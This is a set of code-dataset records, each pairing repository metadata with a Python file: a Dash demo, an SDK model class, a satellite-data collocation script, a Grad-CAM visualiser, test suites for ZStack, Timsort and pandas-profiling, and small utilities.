import dash from dash.dependencies import Input, Output import dash_core_components as dcc # graphs etc import dash_html_components as html # tags etc app = dash.Dash() # dash can combine wth flask app.layout = html.Div(children=[ dcc.Input(id = "Input", value = "Enter Something", type = "text"), html.Div(id = "Output") ]) @app.callback( Output(component_id="Output", component_property = "children"), [Input(component_id="Input", component_property = "value")] ) if __name__ == "__main__": app.run_server(debug=True)

25.307692

68

0.699088

import dash from dash.dependencies import Input, Output import dash_core_components as dcc # graphs etc import dash_html_components as html # tags etc app = dash.Dash() # dash can combine wth flask app.layout = html.Div(children=[ dcc.Input(id = "Input", value = "Enter Something", type = "text"), html.Div(id = "Output") ]) @app.callback( Output(component_id="Output", component_property = "children"), [Input(component_id="Input", component_property = "value")] ) def update_value(input_data): try: return str(float(input_data)**2) except: return "Some error" if __name__ == "__main__": app.run_server(debug=True)

84

0

25

d032a6823e79d63d9ed63bc9a034259c6ad8939d

71

py

Python

cachetclient/__init__.py

neutron-ah/cachet-client

ad233e4b3ced956ad698e110ae547ba10d15f9a2

[ "MIT" ]

null

cachetclient/__init__.py

neutron-ah/cachet-client

ad233e4b3ced956ad698e110ae547ba10d15f9a2

[ "MIT" ]

null

cachetclient/__init__.py

neutron-ah/cachet-client

ad233e4b3ced956ad698e110ae547ba10d15f9a2

[ "MIT" ]

null

from cachetclient.client import Client # noqa ___version__ = '3.0.0'

17.75

46

0.746479

from cachetclient.client import Client # noqa ___version__ = '3.0.0'

0

044933f4e745b3f4ae6f65b666a90c8f86de3d53

6,160

py

Python

main/collocation_processor_v2.py

dr1315/Collocation_v2

b0fceedb4e5dcdd3900e56854435dea48a132642

[ "MIT" ]

null

main/collocation_processor_v2.py

dr1315/Collocation_v2

b0fceedb4e5dcdd3900e56854435dea48a132642

[ "MIT" ]

null

main/collocation_processor_v2.py

dr1315/Collocation_v2

b0fceedb4e5dcdd3900e56854435dea48a132642

[ "MIT" ]

null

''' Main processor for v2 of the collocation between CALIOP and Himawari-8. ''' import os import sys import traceback from datetime import datetime from pyhdf.SD import SD, SDC if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument( "-l", "--list_of_files", nargs="?", type=str, help="name of .txt file listing all the files to be downloaded" ) parser.add_argument( "-f", "--filename", nargs="?", type=str, help="name of file to be downloaded" ) parser.add_argument( "-d", "--target_directory", nargs="?", default=os.getcwd(), type=str, help="full path to the directory where the files will be stored" ) args = parser.parse_args() if args.list_of_files is not None: main(args.list_of_files, args.target_directory) elif args.filename is not None: full_collocation(args.filename, args.target_directory) else: raise Exception('Need to provide a filename or a text file containing a list of filenames')

44.963504

296

0.677597

''' Main processor for v2 of the collocation between CALIOP and Himawari-8. ''' import os import sys import traceback from datetime import datetime from pyhdf.SD import SD, SDC def log_w_message(message): dt_now = datetime.now().strftime("%d/%m/%Y %H:%M:%S.%f") dt_message = f'{dt_now} - {message}' print(dt_message) return dt_message def build_temp_folders(fname, target_dir): staging_dir = os.path.join(target_dir, fname[:-4]) if not os.path.exists(staging_dir) and not os.path.isdir(staging_dir): os.mkdir(staging_dir) archive_dir = os.path.join(staging_dir, '.o+e_archive') if not os.path.exists(archive_dir) and not os.path.isdir(archive_dir): os.mkdir(archive_dir) proc_data_dir = os.path.join(staging_dir, '.proc_data') if not os.path.exists(proc_data_dir) and not os.path.isdir(proc_data_dir): os.mkdir(proc_data_dir) return staging_dir, archive_dir, proc_data_dir def read_list(filename): with open(filename, 'r') as f: all_lines = [line[:-1] for line in f.readlines()] header = [line for line in all_lines if line.startswith('#')] good_lines = [line for line in all_lines if not line.startswith('#')] return header, good_lines def decompress_h8_data(data_dir): h8_dirs = [dirs[1] for dirs in os.walk(data_dir)][0] print(h8_dirs) for h8_dir in h8_dirs: full_dir = os.path.join(data_dir, h8_dir) os.chdir(full_dir) os.system(f'tar -xf {os.path.join(full_dir, "HS_H08_"+h8_dir+"_FLDK.tar")}') os.system(f'rm {os.path.join(full_dir, "HS_H08_"+h8_dir+"_FLDK.tar")}') os.system(f'bunzip2 {full_dir}/*.bz2') def full_collocation(fname, target_dir): caliop_filename = fname.split('/')[-1] if 'CAL' not in caliop_filename: raise Exception('Filename is not an acceptable format') if caliop_filename[-4:] != '.hdf': caliop_filename = caliop_filename + '.hdf' if 'V4-21' in caliop_filename: caliop_filename = caliop_filename.replace('V4-21', 'V4-20') fname = fname.replace('V4-21', 'V4-20') print(caliop_filename) log_w_message(f'Initiating collocation for {caliop_filename}') staging_dir, archive_dir, proc_data_dir = build_temp_folders(fname, target_dir) os.chdir(staging_dir) log_w_message(f'Getting CALIOP file: {caliop_filename}') os.system(f'qsub -W block=True -v "FNAME={fname},TARGET_DIR={proc_data_dir}" -o {os.path.join(archive_dir, "get_caliop_output.txt")} -e {os.path.join(archive_dir, "get_caliop_error.txt")} /g/data/k10/dr1709/code/Personal/Collocation/v2/data_grabbers/caliop_data_grabber.qsub') if not os.path.exists(os.path.join(proc_data_dir, caliop_filename)): raise Exception('CALIOP file %s cannot be retrieved' % caliop_filename) log_w_message('CALIOP file retrieved') log_w_message(f'Finding Himawari-8 scenes that collocate with {caliop_filename}') sys.path.append('/g/data/k10/dr1709/code/Personal/Collocation/v2/collocators') from rough_collocator import main as rc_main rc_main(os.path.join(proc_data_dir, fname), staging_dir) log_w_message('Collocated Himawari-8 scenes found') log_w_message('Getting collocated Himawari-8 folders from mdss') os.system(f'qsub -W block=True -v "FNAME={fname},TARGET_DIR={staging_dir}" -o {os.path.join(archive_dir, "get_himawari_output.txt")} -e {os.path.join(archive_dir, "get_himawari_error.txt")} /g/data/k10/dr1709/code/Personal/Collocation/v2/data_grabbers/himawari_data_grabber.qsub') log_w_message('All collocated Himawari-8 folders retrieved') log_w_message('Decompressing compressed Himawari-8 data') decompress_h8_data(proc_data_dir) log_w_message('Decompression complete') log_w_message('Carrying out collocation of Himawari-8 and CALIOP data') os.system(f'qsub -W block=True -v "FNAME={fname},TARGET_DIR={staging_dir}" -o {os.path.join(archive_dir, "parallel_collocation_output.txt")} -e {os.path.join(archive_dir, "parallel_collocation_error.txt")} /g/data/k10/dr1709/code/Personal/Collocation/v2/collocators/parallel_collocator.qsub') log_w_message(f'Collocated data stored in {staging_dir}') log_w_message('Cleaning out Himawari-8 and CALIOP data') os.system(f'rm -r {proc_data_dir}') def main(list_of_files, target_dir): log_w_message('Reading in filenames') header, fnames = read_list(list_of_files) log_w_message(f'Running for {len(fnames)} files') #num_failures = 0 for n, fname in enumerate(fnames): try: full_collocation(fname=fname, target_dir=target_dir) fnames[n] = '# ' + fname with open(list_of_files,'w') as f: f.writelines([head_line + '\n' for head_line in header] + [lst_fname + '\n' for lst_fname in fnames]) except Exception as e: log_w_message(f'{fname} collocation failed') traceback.print_exc() #if num_failures < 2: # num_failures += 1 #else: # break staging_dir_name = fname.split('/')[-1][:-4] os.system(f'rm -r {os.path.join(target_dir, staging_dir_name)}') pass if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument( "-l", "--list_of_files", nargs="?", type=str, help="name of .txt file listing all the files to be downloaded" ) parser.add_argument( "-f", "--filename", nargs="?", type=str, help="name of file to be downloaded" ) parser.add_argument( "-d", "--target_directory", nargs="?", default=os.getcwd(), type=str, help="full path to the directory where the files will be stored" ) args = parser.parse_args() if args.list_of_files is not None: main(args.list_of_files, args.target_directory) elif args.filename is not None: full_collocation(args.filename, args.target_directory) else: raise Exception('Need to provide a filename or a text file containing a list of filenames')

4,860

0

142

4c2fb08ef1f0a5f702a10eed2b5a89ceea0f9097

7,534

py

Python

bitmovin_api_sdk/models/audio_mix_input_stream_channel.py

jaythecaesarean/bitmovin-api-sdk-python

48166511fcb9082041c552ace55a9b66cc59b794

[ "MIT" ]

11

2019-07-03T10:41:16.000Z

2022-02-25T21:48:06.000Z

bitmovin_api_sdk/models/audio_mix_input_stream_channel.py

jaythecaesarean/bitmovin-api-sdk-python

48166511fcb9082041c552ace55a9b66cc59b794

[ "MIT" ]

8

2019-11-23T00:01:25.000Z

2021-04-29T12:30:31.000Z

bitmovin_api_sdk/models/audio_mix_input_stream_channel.py

jaythecaesarean/bitmovin-api-sdk-python

48166511fcb9082041c552ace55a9b66cc59b794

[ "MIT" ]

13

2020-01-02T14:58:18.000Z

2022-03-26T12:10:30.000Z

# coding: utf-8 from enum import Enum from six import string_types, iteritems from bitmovin_api_sdk.common.poscheck import poscheck_model from bitmovin_api_sdk.models.audio_mix_channel_type import AudioMixChannelType import pprint import six

35.706161

164

0.655296

# coding: utf-8 from enum import Enum from six import string_types, iteritems from bitmovin_api_sdk.common.poscheck import poscheck_model from bitmovin_api_sdk.models.audio_mix_channel_type import AudioMixChannelType import pprint import six class AudioMixInputStreamChannel(object): @poscheck_model def __init__(self, input_stream_id=None, output_channel_type=None, output_channel_number=None, source_channels=None): # type: (string_types, AudioMixChannelType, int, list[AudioMixInputStreamSourceChannel]) -> None self._input_stream_id = None self._output_channel_type = None self._output_channel_number = None self._source_channels = list() self.discriminator = None if input_stream_id is not None: self.input_stream_id = input_stream_id if output_channel_type is not None: self.output_channel_type = output_channel_type if output_channel_number is not None: self.output_channel_number = output_channel_number if source_channels is not None: self.source_channels = source_channels @property def openapi_types(self): types = { 'input_stream_id': 'string_types', 'output_channel_type': 'AudioMixChannelType', 'output_channel_number': 'int', 'source_channels': 'list[AudioMixInputStreamSourceChannel]' } return types @property def attribute_map(self): attributes = { 'input_stream_id': 'inputStreamId', 'output_channel_type': 'outputChannelType', 'output_channel_number': 'outputChannelNumber', 'source_channels': 'sourceChannels' } return attributes @property def input_stream_id(self): # type: () -> string_types """Gets the input_stream_id of this AudioMixInputStreamChannel. The id of the input stream that should be used for mixing. :return: The input_stream_id of this AudioMixInputStreamChannel. :rtype: string_types """ return self._input_stream_id @input_stream_id.setter def input_stream_id(self, input_stream_id): # type: (string_types) -> None """Sets the input_stream_id of this AudioMixInputStreamChannel. The id of the input stream that should be used for mixing. :param input_stream_id: The input_stream_id of this AudioMixInputStreamChannel. :type: string_types """ if input_stream_id is not None: if not isinstance(input_stream_id, string_types): raise TypeError("Invalid type for `input_stream_id`, type has to be `string_types`") self._input_stream_id = input_stream_id @property def output_channel_type(self): # type: () -> AudioMixChannelType """Gets the output_channel_type of this AudioMixInputStreamChannel. :return: The output_channel_type of this AudioMixInputStreamChannel. :rtype: AudioMixChannelType """ return self._output_channel_type @output_channel_type.setter def output_channel_type(self, output_channel_type): # type: (AudioMixChannelType) -> None """Sets the output_channel_type of this AudioMixInputStreamChannel. :param output_channel_type: The output_channel_type of this AudioMixInputStreamChannel. :type: AudioMixChannelType """ if output_channel_type is not None: if not isinstance(output_channel_type, AudioMixChannelType): raise TypeError("Invalid type for `output_channel_type`, type has to be `AudioMixChannelType`") self._output_channel_type = output_channel_type @property def output_channel_number(self): # type: () -> int """Gets the output_channel_number of this AudioMixInputStreamChannel. Number of this output channel. If type is 'CHANNEL_NUMBER', this must be set. :return: The output_channel_number of this AudioMixInputStreamChannel. :rtype: int """ return self._output_channel_number @output_channel_number.setter def output_channel_number(self, output_channel_number): # type: (int) -> None """Sets the output_channel_number of this AudioMixInputStreamChannel. Number of this output channel. If type is 'CHANNEL_NUMBER', this must be set. :param output_channel_number: The output_channel_number of this AudioMixInputStreamChannel. :type: int """ if output_channel_number is not None: if not isinstance(output_channel_number, int): raise TypeError("Invalid type for `output_channel_number`, type has to be `int`") self._output_channel_number = output_channel_number @property def source_channels(self): # type: () -> list[AudioMixInputStreamSourceChannel] """Gets the source_channels of this AudioMixInputStreamChannel. List of source channels to be mixed :return: The source_channels of this AudioMixInputStreamChannel. :rtype: list[AudioMixInputStreamSourceChannel] """ return self._source_channels @source_channels.setter def source_channels(self, source_channels): # type: (list) -> None """Sets the source_channels of this AudioMixInputStreamChannel. List of source channels to be mixed :param source_channels: The source_channels of this AudioMixInputStreamChannel. :type: list[AudioMixInputStreamSourceChannel] """ if source_channels is not None: if not isinstance(source_channels, list): raise TypeError("Invalid type for `source_channels`, type has to be `list[AudioMixInputStreamSourceChannel]`") self._source_channels = source_channels def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if value is None: continue if isinstance(value, list): if len(value) == 0: continue result[self.attribute_map.get(attr)] = [y.value if isinstance(y, Enum) else y for y in [x.to_dict() if hasattr(x, "to_dict") else x for x in value]] elif hasattr(value, "to_dict"): result[self.attribute_map.get(attr)] = value.to_dict() elif isinstance(value, Enum): result[self.attribute_map.get(attr)] = value.value elif isinstance(value, dict): result[self.attribute_map.get(attr)] = {k: (v.to_dict() if hasattr(v, "to_dict") else v) for (k, v) in value.items()} else: result[self.attribute_map.get(attr)] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, AudioMixInputStreamChannel): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

1,407

5,860

23

5ddcb4984ecded396bfad62244969faef3d13010

1,342

py

Python

integrationtest/vm/virtualrouter/suite_teardown.py

sherry546/zstack-woodpecker

54a37459f2d72ce6820974feaa6eb55772c3d2ce

[ "Apache-2.0" ]

1

2021-03-21T12:41:11.000Z

integrationtest/vm/virtualrouter/suite_teardown.py

sherry546/zstack-woodpecker

54a37459f2d72ce6820974feaa6eb55772c3d2ce

[ "Apache-2.0" ]

null

integrationtest/vm/virtualrouter/suite_teardown.py

sherry546/zstack-woodpecker

54a37459f2d72ce6820974feaa6eb55772c3d2ce

[ "Apache-2.0" ]

1

2017-05-19T06:40:40.000Z

''' Integration Test Teardown case @author: Youyk ''' import zstacklib.utils.linux as linux import zstacklib.utils.http as http import zstackwoodpecker.setup_actions as setup_actions import zstackwoodpecker.test_util as test_util import zstackwoodpecker.clean_util as clean_util import zstackwoodpecker.test_lib as test_lib import zstacktestagent.plugins.host as host_plugin import zstacktestagent.testagent as testagent

33.55

116

0.777198

''' Integration Test Teardown case @author: Youyk ''' import zstacklib.utils.linux as linux import zstacklib.utils.http as http import zstackwoodpecker.setup_actions as setup_actions import zstackwoodpecker.test_util as test_util import zstackwoodpecker.clean_util as clean_util import zstackwoodpecker.test_lib as test_lib import zstacktestagent.plugins.host as host_plugin import zstacktestagent.testagent as testagent def test(): clean_util.cleanup_all_vms_violently() clean_util.cleanup_none_vm_volumes_violently() clean_util.umount_all_primary_storages_violently() clean_util.cleanup_backup_storage() #linux.remove_vlan_eth("eth0", 10) #linux.remove_vlan_eth("eth0", 11) cmd = host_plugin.DeleteVlanDeviceCmd() cmd.vlan_ethname = 'eth0.10' hosts = test_lib.lib_get_all_hosts_from_plan() if type(hosts) != type([]): hosts = [hosts] for host in hosts: http.json_dump_post(testagent.build_http_path(host.managementIp_, host_plugin.DELETE_VLAN_DEVICE_PATH), cmd) cmd.vlan_ethname = 'eth0.11' for host in hosts: http.json_dump_post(testagent.build_http_path(host.managementIp_, host_plugin.DELETE_VLAN_DEVICE_PATH), cmd) test_lib.setup_plan.stop_node() test_lib.lib_cleanup_host_ip_dict() test_util.test_pass('VirtualRouter Teardown Success')

895

0

23

488a4bfce3b9103661a834646b1fcb2c2647966c

921

py

Python

setup.py

rhysjaques/ringdown

eca49a2d0da37e4d95e5b2dfa5a454c534e73ebe

[ "MIT" ]

2

2020-11-12T01:51:08.000Z

2021-08-23T11:47:39.000Z

setup.py

rhysjaques/ringdown

eca49a2d0da37e4d95e5b2dfa5a454c534e73ebe

[ "MIT" ]

null

setup.py

rhysjaques/ringdown

eca49a2d0da37e4d95e5b2dfa5a454c534e73ebe

[ "MIT" ]

1

2021-01-13T14:35:20.000Z

from setuptools import setup import os import re VERSION_REGEX = re.compile("__version__ = \"(.*?)\"") CONTENTS = readfile( os.path.join( os.path.dirname(os.path.abspath(__file__)), "ringdown", "__init__.py" ) ) VERSION = VERSION_REGEX.findall(CONTENTS)[0] setup( name="ringdown", author="Matthew Pitkin", author_email="matthew.pitkin@ligo.org", url="https://github.com/mattpitkin/ringdown", version=VERSION, packages=["ringdown"], install_requires=readfile( os.path.join(os.path.dirname(__file__), "requirements.txt") ), license="MIT", classifiers=[ "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", ], )

24.236842

67

0.62975

from setuptools import setup import os import re def readfile(filename): with open(filename, encoding="utf-8") as fp: filecontents = fp.read() return filecontents VERSION_REGEX = re.compile("__version__ = \"(.*?)\"") CONTENTS = readfile( os.path.join( os.path.dirname(os.path.abspath(__file__)), "ringdown", "__init__.py" ) ) VERSION = VERSION_REGEX.findall(CONTENTS)[0] setup( name="ringdown", author="Matthew Pitkin", author_email="matthew.pitkin@ligo.org", url="https://github.com/mattpitkin/ringdown", version=VERSION, packages=["ringdown"], install_requires=readfile( os.path.join(os.path.dirname(__file__), "requirements.txt") ), license="MIT", classifiers=[ "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", ], )

108

0

23

bf2391ee72be3d88acb4bb10c7ed3d06f2f32f68

6,756

py

Python

gradcam.py

Fuchai/pytorch-grad-cam

0f5f5ff35c029cb3cdc6496fe9e1dfee8a0dc9f5

[ "MIT" ]

null

gradcam.py

Fuchai/pytorch-grad-cam

0f5f5ff35c029cb3cdc6496fe9e1dfee8a0dc9f5

[ "MIT" ]

null

gradcam.py

Fuchai/pytorch-grad-cam

0f5f5ff35c029cb3cdc6496fe9e1dfee8a0dc9f5

[ "MIT" ]

null

import argparse import cv2 import numpy as np import torch from torch.autograd import Function from torchvision import models, transforms def deprocess_image(img): """ see https://github.com/jacobgil/keras-grad-cam/blob/master/grad-cam.py#L65 """ img = img - np.mean(img) img = img / (np.std(img) + 1e-5) img = img * 0.1 img = img + 0.5 img = np.clip(img, 0, 1) return np.uint8(img * 255) if __name__ == '__main__': """ python grad_cam.py <path_to_image> 1. Loads an image with opencv. 2. Preprocesses it for ResNet50 and converts to a pytorch variable. 3. Makes a forward pass to find the category index with the highest score, and computes intermediate activations. Makes the visualization. """ args = get_args() model = models.resnet50(pretrained=True).to(args.device) grad_cam = GradCam(model=model, feature_module=model.layer4) img = cv2.imread(args.image_path, 1) img = np.float32(img) / 255 # Opencv loads as BGR: img = img[:, :, ::-1] input_img = preprocess_image(img).to(args.device) # If None, returns the map for the highest scoring category. # Otherwise, targets the requested category. target_category = None grayscale_cam = grad_cam(input_img, target_category) grayscale_cam = cv2.resize(grayscale_cam, (img.shape[1], img.shape[0])) cam = show_cam_on_image(img, grayscale_cam) gb_model = GuidedBackpropReLUModel(model=model) gb = gb_model(input_img, target_category=target_category) gb = gb.transpose((1, 2, 0)) cam_mask = cv2.merge([grayscale_cam, grayscale_cam, grayscale_cam]) cam_gb = deprocess_image(cam_mask * gb) gb = deprocess_image(gb) cv2.imwrite("grad_cam.jpg", cam) cv2.imwrite('gb.jpg', gb) cv2.imwrite('grad_cam_gb.jpg', cam_gb)

32.018957

86

0.657786

import argparse import cv2 import numpy as np import torch from torch.autograd import Function from torchvision import models, transforms class ModelWrapper: def __init__(self, model, feature_module): self.model = model self.feature_module = feature_module self.feature_gradients = None self.feature_output = None self.register_hooks() def register_hooks(self): target_layer = next(reversed(self.feature_module._modules)) target_layer = self.feature_module._modules[target_layer] target_layer.register_backward_hook(self.save_gradient) target_layer.register_forward_hook(self.save_output) def save_gradient(self, module, grad_input, grad_output): self.feature_gradients = grad_input[0] def save_output(self, module, input, output): self.feature_output = output def __call__(self, x): self.feature_gradients = None self.feature_output = None return self.model(x) def preprocess_image(img): normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) preprocessing = transforms.Compose([ transforms.ToTensor(), normalize, ]) return preprocessing(img.copy()).unsqueeze(0) def show_cam_on_image(img, mask): heatmap = cv2.applyColorMap(np.uint8(255 * mask), cv2.COLORMAP_JET) heatmap = np.float32(heatmap) / 255 cam = heatmap + np.float32(img) cam = cam / np.max(cam) return np.uint8(255 * cam) class GradCam: def __init__(self, model, feature_module): self.model = model self.feature_module = feature_module self.model.eval() self.model_wrapper = ModelWrapper(self.model, self.feature_module) def forward(self, input_img): return self.model(input_img) def __call__(self, input_img, target_category=None): output = self.model_wrapper(input_img) if target_category is None: target_category = np.argmax(output.cpu().data.numpy()) one_hot = np.zeros((1, output.size()[-1]), dtype=np.float32) one_hot[0][target_category] = 1 one_hot = torch.from_numpy(one_hot).requires_grad_(True) one_hot = one_hot.to(input_img.device) one_hot = torch.sum(one_hot * output) self.feature_module.zero_grad() self.model.zero_grad() one_hot.backward(retain_graph=True) grads_val = self.model_wrapper.feature_gradients.cpu().data.numpy() features = self.model_wrapper.feature_output features = features[-1].cpu().data.numpy() global_average_pooled_gradients = np.mean(grads_val, axis=(2, 3))[0, :] cam = np.expand_dims(global_average_pooled_gradients, axis=(1, 2)) * features cam = cam.sum(axis=0) cam = np.maximum(cam, 0) cam = cv2.resize(cam, input_img.shape[2:]) cam = cam - np.min(cam) cam = cam / np.max(cam) return cam class GuidedBackpropReLU(Function): @staticmethod def forward(self, input_img): positive_mask = (input_img > 0).type_as(input_img) output = input_img * positive_mask self.save_for_backward(positive_mask) return output @staticmethod def backward(self, grad_output): positive_mask_1 = self.saved_tensors[0] positive_mask_2 = (grad_output > 0).type_as(grad_output) grad_input = grad_output * positive_mask_1 * positive_mask_2 return grad_input class GuidedBackpropReLUModel: def __init__(self, model): self.model = model self.model.eval() self.recursive_relu_apply(self.model) def recursive_relu_apply(self, module_top): # replace ReLU with GuidedBackpropReLU for idx, module in module_top._modules.items(): self.recursive_relu_apply(module) if module.__class__.__name__ == 'ReLU': module_top._modules[idx] = GuidedBackpropReLU.apply def __call__(self, input_img, target_category=None): input_img.requires_grad = True input_img.retain_grad() output = self.model(input_img) if target_category is None: target_category = np.argmax(output.cpu().data.numpy()) one_hot = np.zeros((1, output.size()[-1]), dtype=np.float32) one_hot[0][target_category] = 1 one_hot = torch.from_numpy(one_hot).requires_grad_(True) one_hot = one_hot.to(input_img.device) one_hot = torch.sum(one_hot * output) one_hot.backward() output = input_img.grad.cpu().data.numpy() output = output[0, :, :, :] return output def get_args(): parser = argparse.ArgumentParser() parser.add_argument('--device', type=str, default="cuda:0", help='Use NVIDIA GPU acceleration') parser.add_argument('--image-path', type=str, default='./examples/both.png', help='Input image path') args = parser.parse_args() print(f"Device {args.device}") return args def deprocess_image(img): """ see https://github.com/jacobgil/keras-grad-cam/blob/master/grad-cam.py#L65 """ img = img - np.mean(img) img = img / (np.std(img) + 1e-5) img = img * 0.1 img = img + 0.5 img = np.clip(img, 0, 1) return np.uint8(img * 255) if __name__ == '__main__': """ python grad_cam.py <path_to_image> 1. Loads an image with opencv. 2. Preprocesses it for ResNet50 and converts to a pytorch variable. 3. Makes a forward pass to find the category index with the highest score, and computes intermediate activations. Makes the visualization. """ args = get_args() model = models.resnet50(pretrained=True).to(args.device) grad_cam = GradCam(model=model, feature_module=model.layer4) img = cv2.imread(args.image_path, 1) img = np.float32(img) / 255 # Opencv loads as BGR: img = img[:, :, ::-1] input_img = preprocess_image(img).to(args.device) # If None, returns the map for the highest scoring category. # Otherwise, targets the requested category. target_category = None grayscale_cam = grad_cam(input_img, target_category) grayscale_cam = cv2.resize(grayscale_cam, (img.shape[1], img.shape[0])) cam = show_cam_on_image(img, grayscale_cam) gb_model = GuidedBackpropReLUModel(model=model) gb = gb_model(input_img, target_category=target_category) gb = gb.transpose((1, 2, 0)) cam_mask = cv2.merge([grayscale_cam, grayscale_cam, grayscale_cam]) cam_gb = deprocess_image(cam_mask * gb) gb = deprocess_image(gb) cv2.imwrite("grad_cam.jpg", cam) cv2.imwrite('gb.jpg', gb) cv2.imwrite('grad_cam_gb.jpg', cam_gb)

4,377

103

455

dbc09da959b036ed7a75ab06984c4b5d62ed3480

116

py

Python

Python/URI PROBLEMAS/1011 - Esfera.py

guimaraesalves/material-python

d56b6b24ae35a67d394b43cb1ef4420805c7bd9b

[ "MIT" ]

null

Python/URI PROBLEMAS/1011 - Esfera.py

guimaraesalves/material-python

d56b6b24ae35a67d394b43cb1ef4420805c7bd9b

[ "MIT" ]

null

Python/URI PROBLEMAS/1011 - Esfera.py

guimaraesalves/material-python

d56b6b24ae35a67d394b43cb1ef4420805c7bd9b

[ "MIT" ]

null

raio = int(input()) pi = 3.14159 volume = float(4.0 * pi * (raio* raio * raio) / 3) print("VOLUME = %0.3f" %volume)

23.2

50

0.586207

raio = int(input()) pi = 3.14159 volume = float(4.0 * pi * (raio* raio * raio) / 3) print("VOLUME = %0.3f" %volume)

0

53305877f3de42158e7f734b77f6b463c545f540

1,299

py

Python

timsort/timsort_test.py

MercyFlesh/algorithms

d9bfe6c2506c2567632222abc878ebc5f1447aaf

[ "Apache-2.0" ]

1

2021-06-13T11:45:18.000Z

timsort/timsort_test.py

MercyFlesh/algorithms

d9bfe6c2506c2567632222abc878ebc5f1447aaf

[ "Apache-2.0" ]

null

timsort/timsort_test.py

MercyFlesh/algorithms

d9bfe6c2506c2567632222abc878ebc5f1447aaf

[ "Apache-2.0" ]

null

import unittest import matplotlib import random import time import matplotlib.pyplot as plt from timsort import Timsort #test time sorting an array of n elements #Checking the sorting of arrays in which there are less than 64 elements #array sorting test greater than 64 if __name__ == "__main__": unittest.main()

28.23913

94

0.568899

import unittest import matplotlib import random import time import matplotlib.pyplot as plt from timsort import Timsort class timsortTest(unittest.TestCase): #test time sorting an array of n elements def test_time_froze(self): data = [] count = 10000 for _ in range(count): data.append(random.randint(0, 30000)) start_time = time.perf_counter() Timsort(data) print(f"time froze sort {count} elements: {time.perf_counter() - start_time} sec.\n") #Checking the sorting of arrays in which there are less than 64 elements def test_arr_less_64symb(self): test_cases = (([8, 1, 7, 4, 0], [0, 1, 4, 7, 8]), ([], [])) for ex, tr in test_cases: with self.subTest(n=ex): self.assertEqual(Timsort(ex), tr) #array sorting test greater than 64 def test_greater64(self): data = [] for _ in range(100): data.append(random.randint(0, 10000)) Timsort(data) for i in range(len(data) - 1): with self.subTest(value_1=data[i], value_2=data[i+1]): self.assertTrue(data[i] <= data[i + 1]) if __name__ == "__main__": unittest.main()

804

16

106

36db0b5c6de0ffb70fd5bd57eceeb1e2a475fc0e

3,831

py

Python

tests/unit/test_report_options.py

Anselmoo/pandas-profiling

41ee043175eaa1c5b21fcba178110331adcad713

[ "MIT" ]

736

2016-01-14T03:36:03.000Z

2018-01-06T00:56:33.000Z

tests/unit/test_report_options.py

Anselmoo/pandas-profiling

41ee043175eaa1c5b21fcba178110331adcad713

[ "MIT" ]

72

2016-01-29T12:08:04.000Z

2018-01-06T11:18:44.000Z

tests/unit/test_report_options.py

sthagen/pandas-profiling-pandas-profiling

6fd50055126ebebf74c92c6f908f54fa7cd9c816

[ "MIT" ]

108

2016-01-14T11:48:18.000Z

2018-01-02T13:35:10.000Z

import pandas as pd import pytest from pandas_profiling import ProfileReport # Generating dummy data dummy_bool_data = generate_cat_data_series(pd.Series({True: 82, False: 36})) dummy_cat_data = generate_cat_data_series( pd.Series( { "Amadeou_plus": 75, "Beta_front": 50, "Calciumus": 20, "Dimitrius": 1, "esperagus_anonymoliumus": 75, "FrigaTTTBrigde_Writap": 50, "galgarartiy": 30, "He": 1, "I": 10, "JimISGODDOT": 1, } ) ) # Unit tests # - Test category frequency plots general options @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"]) @pytest.mark.parametrize("plot_type", ["bar", "pie"]) @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"]) @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"]) @pytest.mark.parametrize("plot_type", ["bar", "pie"]) # - Test category frequency plots color options @pytest.mark.parametrize("plot_type", ["bar", "pie"]) # - Test exceptions @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"])

33.902655

88

0.683895

import pandas as pd import pytest from pandas_profiling import ProfileReport # Generating dummy data def generate_cat_data_series(categories): dummy_data = [] for cat, i in categories.items(): dummy_data.extend([cat, ] * i) # fmt: skip return pd.DataFrame({"dummy_cat": dummy_data}) dummy_bool_data = generate_cat_data_series(pd.Series({True: 82, False: 36})) dummy_cat_data = generate_cat_data_series( pd.Series( { "Amadeou_plus": 75, "Beta_front": 50, "Calciumus": 20, "Dimitrius": 1, "esperagus_anonymoliumus": 75, "FrigaTTTBrigde_Writap": 50, "galgarartiy": 30, "He": 1, "I": 10, "JimISGODDOT": 1, } ) ) def generate_report(data): return ProfileReport( df=data, progress_bar=False, samples=None, correlations=None, missing_diagrams=None, duplicates=None, interactions=None, ) # Unit tests # - Test category frequency plots general options @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"]) @pytest.mark.parametrize("plot_type", ["bar", "pie"]) def test_deactivated_cat_frequency_plot(data, plot_type): profile = generate_report(data) profile.config.plot.cat_freq.show = False profile.config.plot.cat_freq.type = plot_type html_report = profile.to_html() assert "Category Frequency Plot" not in html_report @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"]) def test_cat_frequency_default_barh_plot(data): profile = generate_report(data) html_report = profile.to_html() assert "Category Frequency Plot" in html_report @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"]) def test_cat_frequency_pie_plot(data): profile = generate_report(data) profile.config.plot.cat_freq.type = "pie" html_report = profile.to_html() assert "pie" in html_report @pytest.mark.parametrize("plot_type", ["bar", "pie"]) def test_max_nuique_smaller_than_unique_cats(plot_type): profile = generate_report(dummy_cat_data) profile.config.plot.cat_freq.max_unique = 2 # smaller than the number of categories 